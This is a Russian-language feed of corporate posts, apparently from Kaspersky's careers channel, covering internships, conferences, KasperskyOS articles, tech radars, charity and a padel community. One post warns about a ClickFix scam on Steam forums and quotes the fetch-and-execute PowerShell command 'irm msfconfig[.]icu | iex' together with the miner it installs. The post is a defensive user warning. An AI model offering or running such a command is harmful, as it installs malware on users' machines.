Карьера в Kaspersky

Нейросеть может написать код за пару минут. Но что будет, когда этот код встретится с реальным устройством? 👀

Максим Смуров ищет стажера в команду тестирования KasperskyOS — человека, которому интересно не только находить ошибки, но и разбираться, как все работает изнутри. Здесь предстоит работать с железом и прошивками, настраивать сеть и проверять операционную систему на практике. А заодно — прокачивать Linux, Python и C++ на реальных задачах.

Следите за анонсами и кружочками от наших экспертов, набор на SafeBoard стартует 14 октября!

Встречаемся на полях SYSADMIN 2026!

На SYSADMIN 2026 — конференции для системных администраторов и ИТ-специалистов — выступит Михаил Бабыкин, старший системный администратор Kaspersky.
В треке «ИТ-менеджмент» он представит доклад «Развитие поддержки операционных систем Linux в Microsoft-инфраструктуре: взгляд со стороны Service Desk».

В ходе доклада разберём:
🟢как подготовить специалистов Service Desk к работе с Linux;
🟢как подключить Ubuntu и RedOS к корпоративному домену;
🟢как выстроить единые сценарии для типовых обращений;
🟢зачем нужна централизованная система управления Linux-устройствами;
🟢какие задачи пока остаются открытыми и с чего начать руководителю.

📣 Также ждём вас на стенде «Лаборатории Касперского». Наши эксперты расскажут, как организована работа системных администраторов компании: какие задачи решает команда, как распределяются зоны ответственности и какими инструментами мы пользуемся каждый день.

🎁 А между докладами можно будет проверить свои знания и выиграть мерч.

Будем рады познакомиться!

🏁 Наша экспертиза уже в Самаре — на VolgaCTF

Здесь стартовал финал международных открытых соревнований: больше 1000 команд со всего мира. C 16 по 18 сентября можно болеть за сильнейших, слушать доклады ведущих специалистов из России и из-за рубежа — и заглядывать к нам на стенд.

В зоне Kaspersky можно:
🏎 испытать себя в гоночном симуляторе и получить приз за лучший результат;
💬 задать любые вопросы нашим экспертам и рекрутерам.

⚡️Мы в Екатеринбурге! Ждём вас на МФМ-2026 до 16 сентября.

«Лаборатория Касперского» развернула свои стенды на Международном фестивале молодёжи 2026.

Что мы приготовили для участников фестиваля:
🟢HR-консультации
🟢Профориентация
🟢Интерактив: чеканка памятных монет, селфи-зеркало с ИИ
🟢Подарки за активность: классный мерч и доступ к Kaspersky Premium.

А еще – путешествие в «Землю 2050»и знакомство с Киберкуполом.

Сессии с экспертами на МФМ тоже будут:
▶️ 16 сентября — говорим про чат-боты, этику общения с ИИ и психологию.

❕ Как «проверенный фикс бага» со Steam-форумов превращает ваш компьютер в тихого майнера.

На форумах Steam мошенники отвечают на вопросы про вылеты, баги и пропавший лут и предлагают «быстрое решение»: открыть PowerShell от имени администратора и выполнить команду вида irm msfconfig[.]icu | iex. Звучит безобидно, но это классическая ClickFix‑атака: вас убеждают своими руками запустить вредонос.

Что делает команда:
irm (Invoke‑RestMethod) скачивает скрипт с чужого сервера по указанному адресу;
iex (Invoke‑Expression) сразу исполняет этот скрипт как код PowerShell.

Скрипт притворяется «оптимизатором Windows»: показывает фейковые уведомления про очистку кэша, обновление драйверов и проверку диска. В фоне он создаёт скрытую папку C:\Windows\Background, добавляет её в исключения Defender и скачивает туда криптомайнер XMRig.

Как не попасться:
🟢не копируйте и не запускайте команды PowerShell/Terminal/cmd из чужих советов на форумах, в чатах и комментариях;
🟢перед запуском любой непонятной команды гуглите, что она делает;
🟢не выключайте антивирус по советам сомнительных инструкций.

И пусть баги обходят вас стороной ✨

KasperskyOS: ОС, где безопасность заложена в чертёж 🛡

Свою операционную систему в «Лаборатории Касперского» пишут с нуля уже больше десяти лет. Собрали три свежие статьи с Хабра про то, как она устроена: корень доверия, архитектура микроядра и драйверы на плюсах.

Коротко про систему

KasperskyOS это микроядерная ОС собственной разработки. Ядро маленькое: планировщик, память, процессы, IPC. Драйверы, файловые системы и сетевой стек живут в пользовательском пространстве как обычные приложения, изолированы друг от друга, а каждое взаимодействие проходит через монитор безопасности с политиками. На этом строятся кибериммунные решения, сама ОС сертифицирована по требованиям ФСТЭК.

1. Зачем ОС нужен Root-of-Trust и как KasperskyOS работает с разными реализациями

Антон Рыбаков, руководитель разработки функций безопасности KasperskyOS, объясняет, откуда в системе берётся исходная точка доверия. Корень доверия бывает разным: секрет в eFUSE на кристалле, отдельное security-ядро внутри SoC, внешний чип вроде Secure Element или TPM, открытые проекты типа OpenTitan, доверенная среда исполнения на TrustZone. В статье разбор всех этих вариантов с ограничениями, история про то, что делать, если секрет скомпрометирован и его нельзя заменить, и рассказ про KRoT HAL: слой абстракции, благодаря которому сервисы ОС видят единый интерфейс вместо особенностей конкретного чипа.

2. Безопасность микроядра: где заканчивается трюизм и начинается инженерия

Анна Мелехова, старший архитектор ПО, берёт привычный тезис «микроядро безопаснее, потому что кода меньше» и проверяет его на прочность. Да, в Linux больше 40 миллионов строк и сотни системных вызовов, в микроядре десятки тысяч строк и около десятка вызовов. Но интереснее инженерные следствия. Почему в KasperskyOS можно запретить исполняемые аллокации почти всем процессам. Почему фаззинг через syzkaller находит до смешного мало ошибок. Почему KASLR в микроядре работает сильнее, а коллизии в kCFI встречаются реже.

3. Гетерогенный lookup: как одна фича C++ сделала драйвер проще, чище и быстрее, чем на C

Женя Ерохин, старший разработчик с пятнадцатилетним опытом написания драйверов, рассказывает практическую историю. Драйвер VirtIO Vsock он начал писать на C и быстро упёрся в двусвязные списки, ручной подсчёт ссылок и макросы, где легко ошибиться в имени поля. Тогда драйвер переехал на C++. Дальше подробный разбор: unordered_set с shared_ptr вместо ручного подсчёта ссылок, своя хеш-функция с перегрузками, ошибка компиляции про is_transparent и объяснение, как включается гетерогенный lookup.

Читайте и делитесь мыслями в комментариях ⬇️⬇️⬇️

Мы видим твой JS-стек 🧑‍💻

На Хабре вышла вторая статья про наши технические радары, предыдущую можно найти здесь.

Вместе с Пашей Востриковым, архитектором веб-направления, анализируем текущий ландшафт JS-разработки и делимся главными инсайтами.

Ключевые выводы:
🟢Базовый стек разработчика наконец устоялся: TypeScript, Git, pnpm, Vite, CI/CD и юнит-тесты прочно закрепились в зоне Adopt.
🟢FSD и микрофронтенды вызывают жаркие споры: сообщество устало платить архитектурный налог без явной бизнес-необходимости.
🟢CSS-in-JS уступает место zero-runtime и нативным возможностям браузера. Инженерный прогресс всё чаще выглядит как удаление технологии.
🟢AI меняет роль разработчика: написание функций уходит ассистенту, а проектирование системных ограничений остаётся человеку.

Исследование всё ещё идёт. Переходите по ссылке, изучайте результаты и делайте свой вклад в развитие карты JS-экосистемы тут.

Цель на следующие 3 дня: успеть всё, что не успелось за 3 месяца.

Лето заканчивается, а список планов почему-то выглядит как в его начале.
Мы провели мини-опрос среди коллег и нашли главные незакрытые летние планы:

🎸 Сходить на сольник любимого исполнителя

🏃‍➡️ Начать бегать по парку каждое утро

🍉 Купить огромный арбуз, и не знать как его осилить одному

☀️ Встретить красивый закат не только уходя с работы

🚴🏄 Вдоволь накататься на великах и сапах

🤑 Купить билет на конференцию Let's GoConf со скидкой по промокоду LetsGo

Признавайтесь: какой летний пункт всё ещё ждёт своего часа у вас? Присылайте в комментарии подходящий эмодзи ⬇️

Гоферы, сентярьский сбор 🧐

Let’s GoConf собирает тех, кто пишет на Go и хочет заглянуть под капот самых свежих технологий. Мы приедем с докладом и стендом, где можно проверить себя в деле.

📣 Доклад «От syscall до вердикта за миллисекунды»
Никита Зайцев, Senior Backend Developer, покажет реалтайм-конвейер форензики поверх eBPF: как перехватывать события ядра, обогащать их контекстом пода и выносить вердикт раньше, чем злоумышленник успеет закрепиться. Если вам близки наблюдаемость в Kubernetes, горячие пути и системы с минимальным откликом — приходите.

🎮 После доклада — стенд Kaspersky. Мы собрали три игры из ежедневной жизни Go-разработчика:
• Гошный Alias — объясняете термины через описание и аналогии.
• Построй инфраструктуру — собираете проект из компонентов и защищаете архитектуру перед экспертом.
• Гошная "Своя игра" — набираете баллы и забираете победу.

За каждую пройденную игру — штамп в карточку участника. Соберёте все штампы — заберёте мерч.

Ищите стенд Kaspersky на Let’s GoConf 11 сентября. Будет азартно, полезно и очень по-гошному 🔥

Какая она, Kaspersky AI Lab?

Мы отправились туда, чтобы выяснить это лично. Вот что успели:

🔴 Научили своего ИИ-агента писать сценарии и использовать разные инструменты.

🔴 Сыграли в большую битву ИИ-агентов. Победить не получилось, поэтому бокал холодного пива достался другому.

🔴 Искали скрытые CTF-таски. За найденные задания дают приличное количество офкоинов!

🔴 Проверили себя в квизе. Оказалось, мы неплохо разбираемся в искусстве, науке и кибербезе.

🔴 Искали зараженные картины с искажениями, остатками кода и артефактами ИИ. Все заражения нужно найти за ограниченное время, это оказалось совсем непросто.

Обязательно загляните в лабу и попробуйте свои силы во всех активностях. Уверены, вы справитесь и заработаете очень много офкоинов!

«БарахоЛКа Мидори»: 400 007 рублей выручки 🤯

Недавно коллеги организовали первую корпоративную благотворительную «БарахоЛКу Мидори».

За два дня сотрудники принесли около 300 (!) предметов одежды, аксессуаров и техники. После проверки и отбора примерно две трети вещей получили шанс найти новых владельцев.

Общая выручка составила 400 007 рублей. Все деньги перечислили напрямую в фонд помощи хосписам «Вера».

Немного о лотах. Кроме вещей сотрудников, в продажу поступили специальные VIP-лоты от CEO офиса и команды GReAT, винтажный мерч, коллекционные предметы Ferrari F1 и лимитированные банки хмельного, сваренного к недавнему дню рождения компании — они нашли своих владельцев в первые полчаса.

Увидимся на следующей «БарахоЛКе»!

Что на самом деле актуально в C++?
Мы решили собрать объективную карту технологий вместе с сообществом C++ Russia.

На Хабре вышел подробный разбор результатов исследования: какие инструменты становятся индустриальным стандартом, а какие остаются предметом жарких споров.
Вместе с экспертом Виктором Новиковым анализируем текущий ландшафт и делимся инсайтами.

Исследование всё ещё идет. Переходите по ссылке, изучайте результаты и делайте свой вклад в развитие карты C++-экосистемы — заполняйте техрадар.

🤯 Это случилось...

У нас вышла 1000 статей на Хабр!
Чтобы прочитать все понадобится около недели — отличный челлендж для самых стойких. Наши авторы останавливаться не планируют, так что следим за новыми материалами тут

Нолан экранизирует «Одиссею», а мошенники — древний трюк с Троянским конем. Только теперь конь приходит через браузер.

Наши эксперты нашли несколько скам-схем вокруг премьеры, которые нацелены в том числе на русскоязычных пользователей:
🟢 В первой схеме сайт предлагает посмотреть фильм за подписку в 12 рублей. Сначала списывают 12, потом — всё остальное на карте несколькими траншами.
🟢 Во второй – для «доступа» к контенту нужно получить код через Telegram-бота. После ввода на сайте — автоматический редирект на скам-ресурсы.
🟢В третьей – сайты с многоязычным дубляжом, ложными положительными отзывами и «бесплатной пробной версией» — регистрируешься, оставляешь почту, пароль и данные карты для активации пробного периода. Дальше эти данные используются в более сложных атаках.

❕Если фильм только-только вышел в кино, но уже «доступен» на подозрительном сайте — это не везение, а приманка.
Не доверяйте свои данные подозрительным сайтам и пользуйтесь многофакторной аутентификацией.

А если тебе интереснее самому разбирать схемы мошенников — следи за анонсами наших стажировок 🧑‍💻

👨‍🎓 Работа — не волк, в лес не убежит. Но, как выясняется, падел – тоже не волк: играть в него можно так, чтобы ни один дедлайн не пострадал, а рабочие задачи никуда не разбежались.

Рассказываем, как из этой логики выросло одно из самых заряженных внутренних комьюнити компании.

Как всё начиналось
В начале был один сотрудник, который решил попробовать новый вид спорта – и, как это часто бывает, втянул за собой коллег. Правда, поначалу энтузиазм разделяли всего несколько человек: полгода команда играла узким кругом.
Переломный момент наступил, когда клич кинули на внутренний форум. Идею подхватили коллеги из HR – а дальше сработало то самое сарафанное радио: они начали звать своих людей, те своих, и буквально за месяц комьюнити выросло до полусотни человек. Разработчики, безопасники, HR и многие другие направления – падел неожиданно объединил самых разных людей внутри компании.

Где комьюнити сейчас
🟢больше 90 постоянных участников от джунов до руководителей направлений
🟢активное общение и командные игры
🟢5 успешных внутренних турниров

Место найдется каждому
В паделе есть градация по уровню игры: D/D+ – комфортный старт для тех, кто только знакомится с ракеткой, C – для тех, чьи навыки уже стали стабильнее. Благодаря этому на площадке одинаково хорошо и новичку, и тому, кто играет не первый месяц, здесь никто не чувствует себя лишним.

С чего начать
Самый простой и самый рабочий способ – позвать с собой коллегу или друга и вместе сходить на первую тренировку. Главное на старте – не гнаться за результатом, а получить удовольствие от процесса: движения, эмоций, новой физической активности после рабочего дня.
Кстати, бежать за дорогой ракеткой в первый день точно не стоит. Ракетки для падела сильно различаются между собой – балансом, материалами, стилем игры: одни созданы для атаки, другие лучше работают в защите. Разобраться, что подходит именно вам, гораздо проще на практике, тем более что в клубах есть аренда, так что стартовать можно вообще без вложений в экипировку.

Что даёт участие, кроме самого спорта
Помимо тренировки тела, это ещё и способ иначе взглянуть на коллег. На корте случайно оказываешься рядом с человеком, с которым в обычной рабочей жизни, скорее всего, никогда бы не пересёкся, – а потом обнаруживаешь общие темы, шутки и совместные планы на следующую игру. Это возможность переключиться от рабочей рутины, эмоционально выдохнуть.

Что дальше
Останавливаться комьюнити не планирует: следующая цель – выйти на межкорпоративные турниры и помериться силами с командами других компаний.
Кто знает, может быть именно ты откроешь новое сообщество внутри Kaspersky? Конечно, сперва открыв наши карьерные возможности 😍